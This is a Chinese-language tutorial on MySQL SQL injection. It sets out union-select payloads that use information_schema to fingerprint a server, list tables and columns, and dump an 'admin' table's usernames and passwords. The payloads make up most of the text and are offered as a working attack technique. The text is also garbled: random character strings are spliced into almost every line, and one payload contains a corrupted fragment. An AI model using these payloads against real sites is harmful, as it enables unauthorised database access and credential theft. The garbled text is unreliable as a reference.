本文介绍MYSQL盲注的一些语句和方法
5 B% N: d& Y9 D6 _# K
* P: |# b8 ~2 @4 e t$ i学习盲注前先了解下 IFORMATION_SCHEMA 库
8 _3 k; X5 ~3 ?; W
: R2 m% }; u9 Q8 i/ [9 K HMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有 a: C9 `9 Q/ ^2 Y" H b/ n. r
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
" D6 v2 A! i5 ]0 Q/ L. j1.得到所有数据库名:# d- @; `) h/ Z4 X+ @
|SCHEMATA ->存储数据库名的表/ d; Q* @* ^. i% l y3 o
|---字段:SCHEMA_NAME ->数据库名称: m0 S, {* N- D4 S# p9 t' P! _/ R/ H3 t
0 U* X) O1 Q" n( M' d6 p: t
|TABLES ->存储表名
6 b* c3 d9 x. Y8 Y/ V$ S0 ^|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名' g: h1 U! l2 ]! n% p' X
|---字段:TABLE_NAME ->存储表的表名
! s$ i- `0 q6 H4 m' q
. x! w+ Z5 q& l ~6 Y6 X( H9 p8 A|COLUMNS ->存储的字段名表
# R2 u& A" r% N) L( ^1 N2 Q|---字段:TABLE_SCHEMA ->该字段所属数据库名
4 |2 Y. V$ n3 K5 u" d|---字段:TABLE_NAME ->存储所属表的名称
8 |5 A6 l: G* @
( g6 o7 l- l9 N; q' R: ]|---字段:COLUMN_NAME ->该字段的名称
* G' O0 H6 D- d: f! R: K; a# C
: }9 _ [0 s7 J3 \3 S, v# ` 9 Y# f) A% J3 z5 V, o+ K
. ?3 e- P- k8 S4 t###########################################################################
! I! J. q$ ]5 ?; z* j
* B) Z5 {$ ]' G1 ]% K# L0x001 获取系统信息:" _9 l R* o( F }
+ Z r# R+ @5 y2 E$ }5 ]union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*! p6 @; }% q& U- |$ z4 S
3 s" r3 A3 ~! Z* n
/*
! i6 R" p7 B" u- ]) T+ T- z& r5 q7 o! Q
@@global.version_compile_os 获取系统版本) R |! w) ]5 c+ \, G
; J, }2 I3 J* ?4 {$ t
@@datadir 数据库路径
6 w. j& E; r. I. ?database() 当前数据库名称: W) L+ d' I8 w1 K& T
0x3c62723e 换行HEX值
$ W4 o5 H4 ^( Y7 E5 O
4 g3 ?5 l( l& L: {. X*/
: T/ i' M: n- H. l% x6 Q9 r: } a: U8 l4 X& {: B8 Q0 Z
( B$ }( p9 ~: {
7 N) ]& X2 X5 e5 b0 o, \" C
######################################################################
3 i+ i7 s1 g% B% a. T" u# F& n9 M! G* ~' C [7 h. d) d
0x002 获取表名
% Y9 s7 w- l( T. ~8 e! e- X& E5 k( }& X6 v% R
union select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*
0 O- v0 `& L$ L) s9 q' D
% ^9 p( H: [/ w u( K/ ~" g $ `1 c4 f* u8 l( Y6 y
; Y4 W: y' Q g# a2 r
/*
3 o9 u0 ^2 g }9 Z7 E" q
$ m K: |2 T. [6 R( j! ~" [0x67617264656e 为当前数据库名
$ t* K8 Y: ~2 Q5 E7 A/ r0 K/ R* d: G9 O
group_concat(table_name) 使用group_concat函数 一步获得该库所有表名. M- A# v% ]3 Y6 Q, o
+ k" M* J, h1 \9 Q/ j/ S0 `7 }
*/
, F- _- J$ I; U2 C0 @* B) a: S
, D0 H6 U% w; A) c* A" Q! g, A######################################################################
J. N$ v9 i( L5 X* ?! F, V
! j, J$ c" A9 d% m- W% p$ a ) I( c P7 J' I, l$ G& ]) p
4 ^0 N1 o/ k: l- L& q$ f0x003 获取字段2 y$ O1 ]" ?! e1 |0 F
& @% i0 f+ o- u6 c( yunion select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*
0 x9 b1 @5 v' F6 x3 p5 i5 A4 @
( r3 C7 G6 t4 f, U. T- Z2 z% C/*! d7 k) ?; X/ `) ?) Q7 g
* n# O5 O$ p+ G* Agroup_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段 y4 R0 t$ X) Z6 c5 H. T4 q s) f
* b* A8 l, a: A* }2 Z0x61646d696e ->选择一个表* I8 M5 m. c) T/ p" q
_0 J: K! U# S7 S- R0x67617264656e ->数据库名
1 M9 r* M8 l2 h+ Y9 m% E. U' n1 u. ^5 m
*/
- |) w* R* j; @6 Q8 m9 u$ X
* S/ g! R @; p, L#####################################################################
& Q9 p6 P9 |" f- T z( a2 B) w: c. A9 ]- _
1 o# i* m/ S5 i S7 a/ J. M8 q
A4 ^5 V# [- Z5 G, a0x004 获取数据" S+ R+ O7 |$ _
2 f6 @! w- r4 k0 x: V" w" }# i4 Iunion select 1,2,3
% G+ u9 W$ e# Q5 c, q& i,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
4 l: h* o- s$ C3 }2 Y' f6 w; g& F% S
4 _5 [$ ~9 b8 e- @union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin5 j @. _, B$ G. T0 z" `
4 R i5 [& t$ u9 I
; l1 i9 }5 r( M0 f' ?3 P9 U" |; i2 L8 n7 o
/*
' T9 o2 S+ a' i' r; f# o$ A
8 {7 g9 i- `* k N: m2 }0x3c62723e 换行符号HEX编码. u' s8 h$ X; j
- _* ^$ [5 @* ~$ c- Pgroup_concat 同时获得该字段所有数据
- [+ `, D _) g6 \' ]: b6 p# O9 u% Y5 n9 X/ G+ t
*/
2 n" v5 A7 i) r4 Q; Z9 ]2 E" ~+ `. T' J% G
|